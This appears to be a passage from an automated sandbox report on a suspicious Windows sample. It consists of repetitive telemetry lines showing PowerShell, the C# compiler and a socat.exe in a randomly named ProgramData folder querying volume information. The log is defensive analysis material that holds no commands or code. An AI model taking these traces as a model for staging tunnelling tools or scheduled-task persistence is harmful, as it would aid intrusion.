Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Queries volume information: C:\ VolumeInformation |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk VolumeInformation |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Queries volume information: C:\ VolumeInformation |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk VolumeInformation |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Queries volume information: C:\ VolumeInformation |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\powershell_ise.exe VolumeInformation |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Queries volume information: C:\ VolumeInformation |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Queries volume information: C:\Windows\hh.exe VolumeInformation |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\1.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\1.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Queries volume information: C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Queries volume information: C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Diagnostics\1.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Diagnostics.dll VolumeInformation |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Diagnostics\1.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Diagnostics.dll VolumeInformation |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.WSMan.Management\1.0.0.0__31bf3856ad364e35\Microsoft.WSMan.Management.dll VolumeInformation |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.WSMan.Management\1.0.0.0__31bf3856ad364e35\Microsoft.WSMan.Management.dll VolumeInformation |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.WSMan.Runtime\1.0.0.0__31bf3856ad364e35\Microsoft.WSMan.Runtime.dll VolumeInformation |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.WSMan.Runtime\1.0.0.0__31bf3856ad364e35\Microsoft.WSMan.Runtime.dll VolumeInformation |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Queries volume information: C:\Windows\assembly\GAC_32\System.Transactions\2.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Queries volume information: C:\Windows\assembly\GAC_32\System.Transactions\2.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\1.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.dll VolumeInformation |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\1.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.dll VolumeInformation |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\1.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\1.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Queries volume information: C:\Windows\assembly\GAC_MSIL\System.Management\2.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Queries volume information: C:\Windows\assembly\GAC_MSIL\System.Management\2.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.PowerShell.Security\1.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformation |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.PowerShell.Security\1.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformation |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Queries volume information: C:\ VolumeInformation |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Queries volume information: C:\Windows\assembly\GAC_32\System.Data\2.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Queries volume information: C:\Windows\assembly\GAC_32\System.Data\2.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Queries volume information: C:\Users\user~1\AppData\Local\Temp\2HVmGbfK7qLuRZ\lib\net20\Microsoft.Win32.TaskScheduler.dll VolumeInformation |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Queries volume information: C:\Users\user~1\AppData\Local\Temp\2HVmGbfK7qLuRZ\lib\net20\Microsoft.Win32.TaskScheduler.dll VolumeInformation |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Queries volume information: C:\Windows\assembly\GAC_32\CustomMarshalers\2.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Queries volume information: C:\Windows\assembly\GAC_32\CustomMarshalers\2.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation |
Source: C:\ProgramData\VitBTKxRu\OZEImhRAzl\socat.exe | Queries volume information: C:\ProgramData\VitBTKxRu VolumeInformation |
Source: C:\ProgramData\VitBTKxRu\OZEImhRAzl\socat.exe | Queries volume information: C:\ProgramData\VitBTKxRu VolumeInformation |
Source: C:\ProgramData\VitBTKxRu\OZEImhRAzl\socat.exe | Queries volume information: C:\ProgramData\VitBTKxRu VolumeInformation |
Source: C:\ProgramData\VitBTKxRu\OZEImhRAzl\socat.exe | Queries volume information: C:\ProgramData\VitBTKxRu VolumeInformation |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Queries volume information: C:\ VolumeInformation |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk VolumeInformation |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Queries volume information: C:\ VolumeInformation |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk VolumeInformation |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Queries volume information: C:\ VolumeInformation |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\powershell_ise.exe VolumeInformation |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Queries volume information: C:\ VolumeInformation |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Queries volume information: C:\Windows\hh.exe VolumeInformation |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\1.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\1.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Queries volume information: C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Queries volume information: C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Diagnostics\1.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Diagnostics.dll VolumeInformation |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Diagnostics\1.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Diagnostics.dll VolumeInformation |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.WSMan.Management\1.0.0.0__31bf3856ad364e35\Microsoft.WSMan.Management.dll VolumeInformation |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.WSMan.Management\1.0.0.0__31bf3856ad364e35\Microsoft.WSMan.Management.dll VolumeInformation |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.WSMan.Runtime\1.0.0.0__31bf3856ad364e35\Microsoft.WSMan.Runtime.dll VolumeInformation |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.WSMan.Runtime\1.0.0.0__31bf3856ad364e35\Microsoft.WSMan.Runtime.dll VolumeInformation |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Queries volume information: C:\Windows\assembly\GAC_32\System.Transactions\2.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Queries volume information: C:\Windows\assembly\GAC_32\System.Transactions\2.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\1.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.dll VolumeInformation |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\1.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.dll VolumeInformation |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\1.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\1.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Queries volume information: C:\Windows\assembly\GAC_MSIL\System.Management\2.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Queries volume information: C:\Windows\assembly\GAC_MSIL\System.Management\2.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.PowerShell.Security\1.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformation |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.PowerShell.Security\1.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformation |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Queries volume information: C:\ VolumeInformation |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Queries volume information: C:\Windows\assembly\GAC_32\System.Data\2.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Queries volume information: C:\Windows\assembly\GAC_32\System.Data\2.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Queries volume information: C:\ VolumeInformation |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk VolumeInformation |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Queries volume information: C:\ VolumeInformation |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk VolumeInformation |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Queries volume information: C:\ VolumeInformation |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\powershell_ise.exe VolumeInformation |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Queries volume information: C:\ VolumeInformation |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Queries volume information: C:\Windows\hh.exe VolumeInformation |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\1.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\1.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Queries volume information: C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Queries volume information: C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Diagnostics\1.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Diagnostics.dll VolumeInformation |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Diagnostics\1.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Diagnostics.dll VolumeInformation |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.WSMan.Management\1.0.0.0__31bf3856ad364e35\Microsoft.WSMan.Management.dll VolumeInformation |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.WSMan.Management\1.0.0.0__31bf3856ad364e35\Microsoft.WSMan.Management.dll VolumeInformation |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.WSMan.Runtime\1.0.0.0__31bf3856ad364e35\Microsoft.WSMan.Runtime.dll VolumeInformation |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.WSMan.Runtime\1.0.0.0__31bf3856ad364e35\Microsoft.WSMan.Runtime.dll VolumeInformation |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Queries volume information: C:\Windows\assembly\GAC_32\System.Transactions\2.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Queries volume information: C:\Windows\assembly\GAC_32\System.Transactions\2.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\1.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.dll VolumeInformation |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\1.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.dll VolumeInformation |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\1.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\1.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Queries volume information: C:\Windows\assembly\GAC_MSIL\System.Management\2.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Queries volume information: C:\Windows\assembly\GAC_MSIL\System.Management\2.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.PowerShell.Security\1.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformation |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.PowerShell.Security\1.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformation |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Queries volume information: C:\ VolumeInformation |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Queries volume information: C:\Windows\assembly\GAC_32\System.Data\2.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Queries volume information: C:\Windows\assembly\GAC_32\System.Data\2.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.JScript\8.0.0.0__b03f5f7f11d50a3a\Microsoft.JScript.dll VolumeInformation |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.JScript\8.0.0.0__b03f5f7f11d50a3a\Microsoft.JScript.dll VolumeInformation |